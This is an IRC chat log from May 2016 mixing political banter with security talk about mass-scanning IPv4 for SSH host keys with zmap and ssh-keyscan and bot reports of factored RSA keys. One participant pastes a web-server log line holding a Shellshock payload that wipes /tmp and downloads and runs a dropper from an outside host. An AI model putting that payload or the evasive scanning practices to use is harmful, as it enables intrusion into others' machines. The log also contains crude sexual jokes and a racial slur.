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01:15 mircea_popescu sure, sure. and why do i need to know how the gcc trick works.
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02:16 deedbot [» Contravex: A blog by Pete Dushenski] Ben Hur - http://www.contravex.com/2016/05/21/ben-hur/
02:24 deedbot [Trilema] House of Strangers - http://trilema.com/2016/house-of-strangers/
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08:08 deedbot [Qntra] Ivanpah Solar Plant Sets Self On Fire - http://qntra.net/2016/05/ivanpah-solar-plant-sets-self-on-fire/
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09:44 Framedragger mircea_popescu: (got 2768 ssh-rsa keys on a test run on a populated /16... this will be fun.)
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11:18 mircea_popescu win!
11:31 mircea_popescu ahahaha BingoBoingo
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11:48 mircea_popescu Framedragger how long did covering the /16 take ?
11:57 asciilifeform one for mircea_popescu: https://gfycat.com/ThoughtfulShamelessChimpanzee
11:57 Framedragger mircea_popescu: with timeout per host set to 5sec (default) and unaltered parallel scanning setting (ssh-keyscan does parallel stuff pretty well but it may not be best for scanning huge numbers of hosts; case in point: default version for ubuntu 14.04 terminates if a single remote host closes conn prematurely - needed to patch this..), it took ~65 minutes (i've started logging timestamps afterwards but this is prob quite accurate). this
11:57 Framedragger this was using single machine only - scanning with two now, will add third one when i have a few min. but yeah it's overall slow i guess you could say
11:58 Framedragger (irc msg maxlen is 512 chars right?)
11:59 mircea_popescu ahahahaha nice. gord frw.
11:59 mircea_popescu ;;calc 2 ** 16 * 65 / 60 / 24 / 365
11:59 gribble 8.10471841705
12:00 mircea_popescu 8 years on a single machine. what were you running, aws ?
12:00 Framedragger i'm considering running zmap on high-throughput server to quickly get all internet-connected machines in ipv4 space, and then feeding that into ssh-keyscan. may be more efficient. also need to get some disposable ip addresses or something, cause according to internet my coupla server IPs will soon be added to some shitlist
12:00 mircea_popescu eh i got 100s.
12:00 Framedragger no just a server with probably 50 mbps good uplink
12:00 asciilifeform that there's the general minus of scanning
12:01 Framedragger yeah i may set up some aws nodes
12:01 asciilifeform the ip becomes ~useless for any other use
12:01 mircea_popescu please do a different /16 on an aws just to get a handle on how much it costs.
12:01 Framedragger k i'll try and do that (a bit later)
12:01 mircea_popescu asciilifeform you know i don't understand, wtf aren't they making pastries this way! at first i thought that's dough on her tits for sure... but no, just paint ?
12:01 asciilifeform that was my first thought !
12:01 mircea_popescu wtf what a waste. titpressed titcakes! wants!
12:02 asciilifeform caeks!
12:02 * Framedragger remembers he has a disposable tor exit node on digitalocean, can use that one
12:02 mircea_popescu Framedragger tor is uselessly slow
12:02 Framedragger nono, i just mean, i can just use that particular machine for dirty work, cause i can't use that ip for other purposes anyway, it's tainted
12:02 Framedragger but yeah need to think of bigger scales here.. short-term aws/azure farms, whatnot
12:04 mircea_popescu just to eval it. in general the zmap idea is right and proper.
12:07 Framedragger "With [... some custom] changes, ZMap can comprehensively scan for a single TCP port across the entire public IPv4 address space [on a 10Gbps pipe, looks like] in 4.5 minutes given adequate upstream bandwidth." https://www.usenix.org/system/files/conference/woot14/woot14-adrian.pdf - not bad
12:08 mircea_popescu aha. it's rapid yeah
12:09 mircea_popescu the only problem is, i'd expect you will receive ~1/3 of the address space as hits.
12:09 mircea_popescu billionish machines.
12:09 Framedragger something something avoids having to take care of timeouts (is stateless) by putting custom info in packets / "SYN cookies" something
12:10 Framedragger mewonders
12:10 mircea_popescu check it out asciilifeform , there's not even as many computers as there are people and they're already beating us in go :D
12:10 Framedragger someone published survey results
12:10 asciilifeform lel
12:10 mircea_popescu oppressed fucking minority.
12:11 asciilifeform mircea_popescu: related lulz, http://www.theverge.com/circuitbreaker/2016/5/19/11716818/google-alphago-hardware-asic-chip-tensor-processor-unit-machine-learning << go asic
12:11 Framedragger 2012: http://internetcensus2012.bitbucket.org/paper.html
12:11 Framedragger shitloads of webcams, "secure" printers etc (of course)
12:12 mircea_popescu dun matter does it
12:12 asciilifeform Framedragger: this is in the old logz
12:12 Framedragger oh. figures...
12:12 mircea_popescu lol
12:12 Framedragger man i need some tool which autosearches from logs while i type in irc
12:12 mircea_popescu write it!
12:13 mircea_popescu not a bad idea either, as a plugin.
12:13 asciilifeform a working $s would be almost as good
12:13 mircea_popescu they're workin' on it.
12:13 Framedragger wonder if whole log would become references to itself, il n'y a pas de hors-texte and all that
12:13 Framedragger hm true...
12:13 mircea_popescu Framedragger pretty much there already.
12:14 Framedragger yah
12:14 mircea_popescu it's just that the majority of computer folk are uncouth and didn't read their linguistics and semiology.
12:14 mircea_popescu which is shameful, really, seeing how ITS THE OTHER FUCKING COMPILER.
12:14 mircea_popescu pretending to have a cs program that's all linguistics-free seems to me the height of ignoramity, but whatevs.
12:14 Framedragger yeah i can't hold interesting convos with these cs people for long sometimes, it's like, fuck you humanity you suck
12:15 Framedragger no but for real. thing is, cs folk usually haven't even read their own "definitive" texts (shannon, e.g.)
12:15 mircea_popescu yes, alf bitching about this is in the logs :)
12:15 Framedragger ...
12:15 mircea_popescu lmao
12:15 asciilifeform in what universe does it make sense to regard the imbeciles as 'cs folks' ?
12:16 mircea_popescu asciilifeform hey, they got a cert.
12:16 Framedragger well i did use "folks" which isn't a word from the most high register so to speak :)
12:16 Framedragger butyeah
12:16 asciilifeform what next, 14th c let's-treat-the-wound-with-shit idiot is 'doctor' ?
12:16 mircea_popescu aha!
12:16 Framedragger 'the fucking witch deserved it'
12:16 mircea_popescu part of the history of medicine, like it or not, mr progress.
12:17 asciilifeform sure but if he lives today ?
12:17 mircea_popescu but there is no yesterday of computing!
12:17 mircea_popescu it all happened in a blink of a slow blinking eye!
12:17 asciilifeform there was a pretty sharp transition from, e.g., mccarthy to jwz
12:17 Framedragger you're still using $framework? GO BACK TO YER CAVE
12:18 mircea_popescu slow blinking eye!
12:18 asciilifeform more of a puckering sphincter
12:22 mircea_popescu lmao omfg. dude published the 2012 census with a pgp (v2.0!) 1kb rsa key ; and he claims to be inspired by... XKCD!!! to do a fucking hilbert curve. omfg the unit-square covering discussions were all in vain, xkcd is the source.
12:23 Framedragger didyouknow, someone wrote a graphing library which mimicks xkcd graph style. iirc it's actually quite nice, insofar as hipster things can be nice. shitlikethat...
12:24 mircea_popescu obligatory http://trilema.com/xkcd
12:24 Framedragger yeah seen it, heh
12:25 mircea_popescu ah ? well then.
12:26 Framedragger by all means, keep reinforcing the "nothing outside the text" notion ! but yeah, good to revisit
12:26 Framedragger [dodges the "that's not the proper translation" discussion]
12:26 mircea_popescu per the drunken walk model, once you're hitting sqrt(1) of references in cache you've read enough :D
12:27 Framedragger hehehe
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12:44 mircea_popescu and in other lulz, http://imgur.com/gallery/nbtVT
12:45 * asciilifeform doesn't get it
12:48 mircea_popescu psychotic face contortions
12:49 asciilifeform in other nyooz,
12:50 asciilifeform 198.55.114.155 - - [21/May/2016:16:49:40 +0000] "GET / HTTP/1.1" 200 1101 "() { :; }; /bin/bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22" "() { :; }; /bin/
12:50 asciilifeform bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22" "-"
12:51 mircea_popescu da fuck is this
12:52 asciilifeform pretty obvious, neh ?
12:52 asciilifeform the real mega-question is ~where~ this worx
12:52 mircea_popescu no ? someone trying to pipe bash through apache ?
12:52 asciilifeform aha
12:53 mircea_popescu check it out, it's like 1990 in china.
12:54 asciilifeform the lulzy bit is that the thing hosting the dropper is dead.
12:54 mircea_popescu are youy calling it with wget ?
12:54 asciilifeform curl
12:54 mircea_popescu well, maybe it detects.
12:55 asciilifeform wget same.
12:55 mircea_popescu who the fuck uses wget instead of curl anyway, you know ?
12:55 asciilifeform box is stone dead.
12:55 mircea_popescu "here's the archive tool and here's the single url tool, i know, i'll use them backwards!"
12:56 mircea_popescu for that matter, why's he not using pastebin or w/e.
13:05 asciilifeform in other not-quite-fresh-nyooz, https://3.bp.blogspot.com/-jrApTQkrqY0/Vz8I5cEbM6I/AAAAAAAAeBI/RNtv0fXWF1EpXgL7KJL58KqSD_rtK1QiwCLcB/s1600/jingle.jpg
13:06 mircea_popescu "safeauto's do the jingle makes insurance advertising fun" ?
13:06 asciilifeform i have nfi
13:07 mircea_popescu http://memecrunch.com/meme/35KRI/ford-owners-be-like/image.jpg
13:14 Framedragger mircea_popescu: to get list of machines listening on port 22 using zmap on amazon aws micro instance with 100 mbps pipe, it takes approx 9-10 minutes per /16. note, only what's listening on port 22, but ssh-keyscan should then plough through pretty quickly. will later run more tests, i'll leave a single instance to scan some /16s to then feed into ssh-keyscan
13:15 mircea_popescu yeah but what's the bill
13:15 Framedragger i mean, i'm using some sort of free tier now, lols. should be cheap..
13:15 mircea_popescu ah cool then
13:15 Framedragger i'll let you know once some data is gathered
13:15 mircea_popescu that's what needed testing.
13:15 Framedragger they'll start charging for bandwidth sooner or later
13:15 Framedragger i understand
13:16 Framedragger gon take some time to even start incurring cost tho
13:16 mircea_popescu eh, nmap takes 50bytes/try or such
13:17 mircea_popescu anyway, so if you spun up 1k aws micros the whole thing could be done in ~a day.
13:17 Framedragger (ah it seems zmap's saturated the 100mbps pipe quite efficiently. yeah will let you know re. cost, prob sooner than expected heh)
13:17 Framedragger fo sho
13:18 mircea_popescu asciilifeform ^ see ? leverage increase. do this in 1996.
13:25 asciilifeform if anything, it was ~more~ doable in '96, nobody ipbanned
13:26 asciilifeform nor did the folks you got the t1 from give half a fuck what you did with it
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13:49 mircea_popescu gawd you're hard.
13:50 mircea_popescu this is like "it was way easier to do astronomy in 2016 bc, not nearly as much atmospheric pollution" "nor did anyone have any glass" "fu, i had glass!"
14:03 asciilifeform moar like 1880.
14:06 mircea_popescu re-reading durkeim it becomes obvious that a) omfg socialists everywhere, what the FUCK is it with this "we're all one" pov already! and b) being an anarchist is ~= being a bleating idiot ; what a man's supposed to be is an anomist.
14:07 asciilifeform diff anarchist anomist ?
14:07 mircea_popescu anarchist === socialist, with the added flavouring of putting the rejection of hierarchy socially above economically, politically or otherwise.
14:08 asciilifeform on what planet ?
14:08 asciilifeform how does one 'socialist' without statism
14:08 mircea_popescu (the "peace movement"/"modern democracy" flavour puts the political one first, and is the more fashionable today. communism puts the economical first, as per ziggler & co. used to be most fashionable)
14:08 mircea_popescu whereas anomist = one who rejects the regulatory role of society.
14:08 mircea_popescu asciilifeform anarchists are not against statism per se.
14:08 asciilifeform mircea_popescu must've read a very different set of anarchists than asciilifeform
14:09 mircea_popescu they're against the "repressive" ie, educational state. but otherwise, the state must be there for anarchy to exist.
14:09 mircea_popescu asciilifeform or maybe mircea_popescu reads beyond what people like to pretend they're saying into what they're actually saying!
14:10 asciilifeform show me where 'the state must exist' in, e.g., kropotkin
14:10 mircea_popescu any portion in particulare ?
14:10 asciilifeform anywhere !
14:11 mircea_popescu what promotes the "voluntary cooperation" ?
14:11 mircea_popescu suppose i dun wanna cooperate. what now ?
14:11 asciilifeform live with wolf ?
14:11 mircea_popescu kropotkin's necessary state is imported as this cvasi-mystical "all men must x y z and will so!"
14:11 mircea_popescu "and if they don't ?" "uh."
14:12 asciilifeform if they don't, they fight - where's the enigma here
14:12 mircea_popescu well im no kropotkin specialist myself, but i'm unaware of him putting war as a legitimate human endeavour.
14:13 mircea_popescu anyway, in the general - whenever ideologue makes presuposition as to what humans are, or do, or will be or will do, he's therefore and by that an etatist.
14:13 asciilifeform i dun think war cared if anybody wrote it down as 'legitimate endeavour' or not
14:13 mircea_popescu but we're discussing kropotkin the anarchist, not war the phenomenon.
14:13 mircea_popescu unless your fellow said himself "and if they don't, they fight and whoever wins was right", he's what i say not what you say.
14:14 asciilifeform not wholly unrelated though. being the reason we haven't any serious anarchic communes to kick around no moar, is that they're no good at war.
14:14 mircea_popescu no, it's because they need a very specific sort of mommy that's yet in short supply.
14:14 asciilifeform waiwut
14:14 mircea_popescu there'd be no end and no shortage of anarchistic-flavoured socialism everwhere if "society collapsed" and there were 1mn people left and 2mn walmart warehouses stacked.
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14:15 asciilifeform is this isomorphic to the swedish fishermen thing ?
14:15 mircea_popescu ie, they need a sort of state like the wasp's parents. dead corpse to be eaten. still etatist though.
14:15 mircea_popescu just, a different kind of state.
14:15 asciilifeform how 'anarchic' was their flavour
14:15 mircea_popescu it could well be, yeah. quite, neh ?
14:16 asciilifeform not so much - their villages were miniature totalitarian monstrosities in themselves
14:16 asciilifeform afaik
14:16 mircea_popescu of course. socialism is socialism is socialism.
14:16 mircea_popescu turd flavourer how it may be flavoured is turd by mass.
14:18 mircea_popescu anyway, the trick of pretending one's own flavour of state is "merely human nature" is, i suppose, pretty effectual. also quite old, karl ziggler / friedrich carnegey did it too!
14:19 mircea_popescu might have been zigg marx/dale engels, i always get obscure american self-help / weight loss / aluminum siding & friendmaking authors mixed up.
14:27 mircea_popescu asciilifeform the trick, generally, of passing one for another is visible throughout the nigger career, whichever nigger one might pick. so kropotkin studied cooperation in nature ; which is fine, and observed that it plays a role, which is true. fuck, tmsr is pretty heavy on cooperation also. aaaaaaand then... the sleigh of hand. really, there should be no preferential distribution ? what the shit. and of course, the pious f
14:27 mircea_popescu raud throughout - really, unsociable species are doomed to decay ? if only we decayed as much as the scorpions did in their lengthy existence. they've stayed viable apex predators in their niche for longer than humans likely will.
14:28 Framedragger approx 4.2 GB of bandwidth used for 14.6k sshd-running IPs, hit rate ~= 0.02% (these are rather random, not guaranteed-to-be-used (only definitely not in reserved blocks) subnets it's possible zmap just doesn't flush to file that often at all - will check later wtf's happening). $0.155 per GB of bandwidth (first 15 GB free). running for 72 min
14:29 mircea_popescu ;;calc 2**32 / 14600 * 0.0002 * 4.2 * 0.155
14:29 gribble 38.3016946534
14:29 mircea_popescu so forty bucks gets the internet, more or less.
14:30 Framedragger when i was walking outside thinking of $ i got a similar figure in mind - lower bound maybe $30 and upper maybe $70, but prob $/GB rate was off in my mind
14:30 Framedragger so yeah
14:30 mircea_popescu alrightey
14:31 * Framedragger will one day attempt to participate in such discussion, anomism, hmm...
14:35 Framedragger (that zmap paper matches this estimate btw - 4.5min was it - 10gbps pipe - lessay 1GiB/s for 270sec => 270GiB; vs 2^32 / 14600 * 0.0002 * 4.2 = 247GiB)
14:35 mircea_popescu word
14:38 asciilifeform meanwhile, outside of my window, http://www.loper-os.org/pub/disapproval_cat.jpg
14:49 mircea_popescu ahahaha
14:49 mircea_popescu great cat lol
14:49 mircea_popescu ima bbl.
14:50 trinque asciilifeform │ if they don't, they fight - where's the enigma here << and then they fight, and someone wins, and someone's dominant, and whoops what happened to anarchy
14:51 trinque that cat is wondering when you're going to stop tapping oddly on that desk and catch a damn bird
14:51 trinque bet he's even brought you half-dead ones trying to teach!
14:53 trinque Framedragger: if you get tired of aws, there's this cheap-as-shit DC called Joe's Datacenter I've been using
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14:53 trinque unlimited bandwidth can be had for $notmuch
14:54 trinque homeboy over there has even hooked me up with free KVM access as a favor
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15:31 asciilifeform trinque: cat is wild.
15:32 jurov how the saying goes... early cat gets the bird
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16:06 asciilifeform in other not-quite-nyooz, http://baesystemsai.blogspot.com/2016/04/two-bytes-to-951m.html << some dissection of the swift trojan, as seen in the old thread, http://btcbase.org/log/2016-03-12#1430996
16:06 a111 Logged on 2016-03-12 00:40 mircea_popescu: (actually, amusingly enough, swift docs date from just about the era ada was fashionable. there was such a time - just like that time in the 90s when everyone was eager to implement linux-y things and you didn't really have to sell it at all, whole cities just switched for no reason)
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17:47 shinohai https://twitter.com/HardBTC/status/734093829901541376 "
17:47 shinohai Almost there, @StartJOIN pitch almost ready, an Open Source PGP digital Key signing tool that we're after funding to add new features"
17:48 asciilifeform 'PGP digital Key signing tool' ??
17:48 asciilifeform i can almost hear the indian accent
17:49 shinohai lolz
17:51 shinohai The advent of paywalled applications, where new features can only be added with crowdfunded blockchainz
17:56 mircea_popescu asciilifeform speaking of anarchists, it occurs to me the comic you linked a while back is a fine example. the girl in there is an out and out anarchist. she requires, for her anarchism, the cartoonist to draw the nonsense she lives in ; or if out of meta, for someone to create all the items she uses and then stay out of her way.
17:56 mircea_popescu by and large, anarchism is this aspiration to absentee parents.
17:56 asciilifeform wai which
17:56 mircea_popescu some murderer for hire something
17:57 asciilifeform ah, 'captain estar'
17:57 mircea_popescu living in a thoroughly alienated world where hit targets were SO ALONE they actually were you know, a sort of crumb.
17:57 asciilifeform but ~all cartoon characters can only live in the paper
17:57 asciilifeform sorta what makes it what it is, neh?
17:58 mircea_popescu yes, but some are more like superman, ie, roosevelt socialist ; and some others more like national socialist.
17:58 mircea_popescu this is anarchist-socialist.
17:58 asciilifeform here is the question that itches me:
17:58 asciilifeform how cheap the energy before it is 'socialist herring' ?
17:59 asciilifeform as in http://btcbase.org/log/2016-05-21#1470228
17:59 a111 Logged on 2016-05-21 18:14 mircea_popescu: there'd be no end and no shortage of anarchistic-flavoured socialism everwhere if "society collapsed" and there were 1mn people left and 2mn walmart warehouses stacked.
17:59 mircea_popescu i dun think it is a matter of energy.
17:59 asciilifeform how does '1m people, 2m collapsed wallmarts' differ from 'put shit in the ground and let the sun do the work' ?
17:59 asciilifeform or 'throw rock at deer and eat phreeee meat'
17:59 mircea_popescu see, here's the catch : the value of walmart today.
18:00 asciilifeform seems like a difference of degree
18:00 asciilifeform rather than kind
18:00 mircea_popescu after a generation of that, the value of walmart would equalize and we'd have a rehash of actual society.
18:00 mircea_popescu socialism is the equivalent of grain : may only exist after cataclysm.
18:00 asciilifeform equalize as in, spent ?
18:00 mircea_popescu as in "no longer socially meaningful"
18:00 mircea_popescu like jeans in russia. who's gonna suck your cock for a pair now?
18:00 asciilifeform so - spent
18:01 mircea_popescu in that sense, yes. not physically spent, but psychologically spent
18:01 asciilifeform so mircea_popescu is of ye olde 'banana makes africans stupid' school ?
18:01 mircea_popescu yes.
18:01 asciilifeform as in, 'too cheap to meter' (tm) (r) morally corroding.
18:02 mircea_popescu note that the higher energy output of rice vs wheat has created ... larger azn cities. that's all.
18:02 mircea_popescu population grows, technology does not.
18:03 asciilifeform iirc we actually have pretty good records of cn ~prior to rice~
18:03 asciilifeform but i have nfi what is in them.
18:03 mircea_popescu sure.
18:07 mircea_popescu so to come full circle : the items of interest in (the otherwise very on point) question "how cheap energy before it is scania herring" are cheap and herring ; not energy - that is always as cheaper as it always is, slightly more expensive as newton's death approaches.
18:07 mircea_popescu the social notion of cheapness and the individual notion of herring however fluctuate.
18:08 asciilifeform elaborate plox ?
18:09 asciilifeform the perennial favourite example (as seen in, e.g., orlov, and elsewhere) is bacteria in agar
18:09 mircea_popescu the tsar impedance mismatch created communism, ie, eco-first socialism ; the ww1 shock created national-socialism, ie, "we're all equal except for those schmucks" - and perhaps noteworthy here that the nazis couldn't quite decide if they're enumerating badness or goodness or what. but the idea was, "socialism within the bubble"
18:09 asciilifeform and 'humans are every bit as stupid as bacteria"
18:10 mircea_popescu and the moore law (pars pro toto, it's really starting with steel) catastrophe created the roosevelt socialism, aka "modern democracy" / "human rights" / "peace movement" etc.
18:10 mircea_popescu but outside of catastrophe, socialism fares as well as wheat. birch forest is the stable solution, not fucking wheat field.
18:11 asciilifeform birch is terrible example
18:11 asciilifeform it is the closest thing to wheat among trees
18:11 mircea_popescu which is why the state-volcano, or state-plow or state-something is always needed
18:11 asciilifeform hence why ru is full of'em
18:11 mircea_popescu beech not birch. wtf is it called.
18:11 * mircea_popescu off to review botanics now
18:11 asciilifeform where the villages burned - there are now birches.
18:12 asciilifeform (in western eu - poppies)
18:12 asciilifeform this is a fairly broad category
18:14 mircea_popescu fagus. beech.
18:14 mircea_popescu varies with the zone, but anyway.
18:16 asciilifeform thing about nature is that nobody promised anyone a single equilibrium point
18:17 asciilifeform beech can stand for 1,001 years, or burn overnight.
18:17 asciilifeform if gets lucky.
18:17 mircea_popescu BingoBoingo http://dpaste.com/1ZY126A dunno if worth your time, but anyway.
18:17 mircea_popescu fucking derps using my first name. to quote, "have we fucked ?"
18:18 mircea_popescu asciilifeform and once it burns, blueberry move in, then birch, then beech again.
18:18 mircea_popescu birch seed can not grow under the shade of adult birch trees. beech seed can. that's all the difference.
18:18 mircea_popescu socialist spawn can't fucking live in socialist world, c'est tout.
18:28 asciilifeform mircea_popescu: https://geektimes.ru/post/269914 << re where 'elbrus' went.
18:29 asciilifeform most pertinently, 'Получается в лучших традициях Советского Союза: машина есть, цена есть, купить нельзя.'
18:29 mircea_popescu lol
18:30 asciilifeform https://geektimes.ru/post/270382 << someone actually dug up, reviewed
18:30 mircea_popescu well... maybe in time.
18:31 asciilifeform megatonnes of old-school 'seals', 'tamper' whatevrthefucks
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19:31 shinohai https://steemit.com/girlsgonesteem-nsfw/@steempower/welcome-to-girls-gone-steem#comments <<< the logo even looks like a turd. "steem"
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19:38 asciilifeform ;;later tell mircea_popescu growing 8ball installed. it will take several days for it to exceed the size of the old 8ball tho. however, it auto-saves and resumes in case of reboot, etc.
19:38 gribble The operation succeeded.
19:46 BingoBoingo <mircea_popescu> BingoBoingo http://dpaste.com/1ZY126A dunno if worth your time, but anyway. << If they wanna write the steps are available. Dun see the point of the kink exchange
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20:04 shinohai ;;isup sdf.org
20:04 gribble sdf.org is down
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20:26 deedbot [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Lukas D. Jacobs <ich@lukasjacobs.de>; Lukas D. Jacobs <pirat@lukasjacobs.de>; Lukas David Jacobs <ich@lukasjacobs.de>; Lukas David Jacobs <pirat@lukasjacobs.de>; ' - http://phuctor.nosuchlabs.com/gpgkey/65E4BA4A1435AACB51DC0C86175C626CFA97D3E9E4299439764DEE43C97FD18D
20:26 deedbot [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Apple Product Security <product-security@apple.com>; ' - http://phuctor.nosuchlabs.com/gpgkey/01242DCED832B429633FEE0CE9B056C695BBF80CA513619A2CA3AA895AC4735F
20:26 deedbot [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Piraten | Martin Letzel <piratenpartei@letzel.org>; ' - http://phuctor.nosuchlabs.com/gpgkey/1CCC37C88F16286BE08BD15EF9EBAD67F10A9165B5CED6989EEE64FA7C644356
20:26 deedbot [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Robert L. Vaessen (MobileMe key generated with gpg) <rvaessen@me.com>; ' - http://phuctor.nosuchlabs.com/gpgkey/F7ED43E91BC7980A082F3EF866B2FB785952BDCB758707BCB2E0F3EBEE519145
20:31 Framedragger "<product-security@apple.com>" hah!!
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20:31 Framedragger seems that their current key is different fwiw: https://www.apple.com/support/security/pgp/ ?
20:33 Framedragger http://btcbase.org/log/2016-05-21#1470259 << that's nice, thanks trinque - are they able to provide near-100mbps for their cheapo VPSs?
20:33 a111 Logged on 2016-05-21 18:53 trinque: Framedragger: if you get tired of aws, there's this cheap-as-shit DC called Joe's Datacenter I've been using
20:34 deedbot [Recent Phuctorings.] Phuctored: 3 divides RSA Moduli belonging to 'FAKE: key generation test; ' - http://phuctor.nosuchlabs.com/gpgkey/0A8E8A26D309CBC4A73BD31E3D6C6AE49AB443FA58E2A9A823BAA868189AB6A5
20:37 Framedragger ^ re. product-security@apple.com's key, or is that some broken sub-key of the master key, or somesuch? (broken 'cause of the "Modulus has mirrored low-order 32 bits !", for whatever original cause/reason)
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20:37 BingoBoingo https://images.encyclopediadramatica.se/thumb/0/0a/LaciBra2.jpg/1024px-LaciBra2.jpg
20:46 asciilifeform ;;later tell mircea_popescu perhaps we should only print update here when a previously-unphuctored modulus pops? who even cares when old turds break into finer rubble..?
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20:46 gribble The operation succeeded.
20:48 asciilifeform http://btcbase.org/log/2016-05-22#1470355 << there was a set of entirely phony keys, built via a certain algo, by an unknown 3rd party long ago. see logz.
20:48 a111 Logged on 2016-05-22 00:37 Framedragger: ^ re. product-security@apple.com's key, or is that some broken sub-key of the master key, or somesuch? (broken 'cause of the "Modulus has mirrored low-order 32 bits !", for whatever original cause/reason)
20:49 Framedragger ah ok thanks for the explanation! more logs.... :)
20:49 Framedragger $s test
20:49 Framedragger oh it doesn't do that
20:52 asciilifeform ;;later tell phf your search box is not grep-compatible. srlsy for fucks sake i can't search for '3 divides' without getting a pile of rubbish
20:52 gribble The operation succeeded.
20:53 asciilifeform 'here is a meg of lines with '3' and 'divides' in'em' is WORTHLESS
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20:53 asciilifeform what works this way and where???!
20:53 asciilifeform other than shitoogle
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21:18 deedbot [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Christian Busch <chris@debilux.org>; Christian Busch (Jabber) <chris@im.debilux.org>; ' - http://phuctor.nosuchlabs.com/gpgkey/07FA12843E0B7B875AA7899C3556B1B21140858AF13AB151E34860070003997E
21:18 deedbot [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Stephen Domorod III (Stephen at Domorod dot Org) <stephen@domorod.org>; ' - http://phuctor.nosuchlabs.com/gpgkey/CD894142C4313393598D2A7B35E2A61D9CD4C6ACC0214D508203C9CDA8A65195
21:20 Framedragger ..hrm. zmap finished scanning sixteen /8's (so a sixteenth of ipv4 space, minus reserved blocks), but in those blocks there were two known servers running openssh which was picked up by ssh-keyscan. they weren't picked up by zmap. if the thing is unreliable then it's worthless (it still found > 95k of ssh servers though, but...)
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21:27 deedbot [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Martin M. Stoppler <martin@stoppler.de>; ' - http://phuctor.nosuchlabs.com/gpgkey/41C3308E5F375899710919E1484F78A1DC042B81EDDC432F38F75D4BDA9B29FC
21:27 deedbot [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Charly Avital(RSA4096) <shavital@mac.com>; Charly Avital (RSA-AES256) <shavital@netbox.com>; ' - http://phuctor.nosuchlabs.com/gpgkey/29D4AB4C1D200C86FB06AB27CA9C38448622E11D3107C3A23E06C538C85B2CD0
21:27 deedbot [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Luciano Buszmicz (Never forget: 2 + 2 = 5 for extremely large values of 2.) <lbuszmicz@zimbra.itx.net>; ' - http://phuctor.nosuchlabs.com/gpgkey/1C37B216D569982CD4D18802D703548E1A352C5E3C3F6057CEC02FFAFF9C8ABD
~ 23 minutes ~
21:51 BingoBoingo ;;bc,stats
21:51 gribble Current Blocks: 412804 | Current Difficulty: 1.9425482028344403E11 | Next Difficulty At Block: 413279 | Next Difficulty In: 475 blocks | Next Difficulty In About: 3 days, 5 hours, 33 minutes, and 3 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None
21:53 mircea_popescu asciilifeform lovely!
21:56 mircea_popescu http://btcbase.org/log/2016-05-22#1470350 << old key.
21:56 a111 Logged on 2016-05-22 00:31 Framedragger: "<product-security@apple.com>" hah!!
21:57 mircea_popescu http://btcbase.org/log/2016-05-22#1470357 << on one hand, i care ; on the other hand - there's not that much traffic from phuctor to warrant looking for ways to lower it.
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21:57 a111 Logged on 2016-05-22 00:46 asciilifeform: ;;later tell mircea_popescu perhaps we should only print update here when a previously-unphuctored modulus pops? who even cares when old turds break into finer rubble..?
22:00 mircea_popescu http://btcbase.org/log/2016-05-22#1470366 << no it's not worthless omaigerd. that's how i search for things. you want to search for the string use "
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22:00 a111 Logged on 2016-05-22 00:53 asciilifeform: 'here is a meg of lines with '3' and 'divides' in'em' is WORTHLESS
22:01 mircea_popescu http://btcbase.org/log-search?q=%223+divides%22 <<<
22:01 mircea_popescu and whai do you ambush lords for your failure to use the things properly!
22:02 mircea_popescu http://btcbase.org/log/2016-05-22#1470371 << ouch. wtf ?! why ?!
22:02 a111 Logged on 2016-05-22 01:20 Framedragger: ..hrm. zmap finished scanning sixteen /8's (so a sixteenth of ipv4 space, minus reserved blocks), but in those blocks there were two known servers running openssh which was picked up by ssh-keyscan. they weren't picked up by zmap. if the thing is unreliable then it's worthless (it still found > 95k of ssh servers though, but...)
22:03 mircea_popescu and in other balls, http://66.media.tumblr.com/56de3f906afad9912c8263018cc813af/tumblr_myauw3UN731skdw0qo1_250.gif
22:04 Framedragger i'm now running the reliable but slower ssh-keyscan on the 95k ssh-running IPs just to get a decent sample. will later revisit wtf zmap is doing
22:05 mircea_popescu open source stack o' shit for the love o' christ.
22:05 Framedragger hum, no girl ever sucking licking my well-shaven balls :/
22:05 mircea_popescu how many did you ask ?
22:05 Framedragger *ever liked
22:06 Framedragger uh, < 15 for sure, so yeah
22:06 mircea_popescu zmap plox.
22:06 Framedragger < 11
22:06 * Framedragger halts sad memory recollection
22:07 mircea_popescu in other news, there's just enough ipv4 to address every chick out there.
22:07 Framedragger so what you're saying is there's no ip exhaustion crisis at all!
22:07 mircea_popescu only for gay ppl.
22:09 Framedragger something something "gay ppl have to use [udp] holepunching (to get through NATs)"
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22:26 deedbot [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Vincent Thenhart <email_vincent@web.de>; Vincent Thenhart <vincent.thenhart@piraten-rlp.de>; ' - http://phuctor.nosuchlabs.com/gpgkey/3AA58F9BF28C0A4F3A8450E3194CC86A946D9B6A49E362AFCFFA950F72894DBB
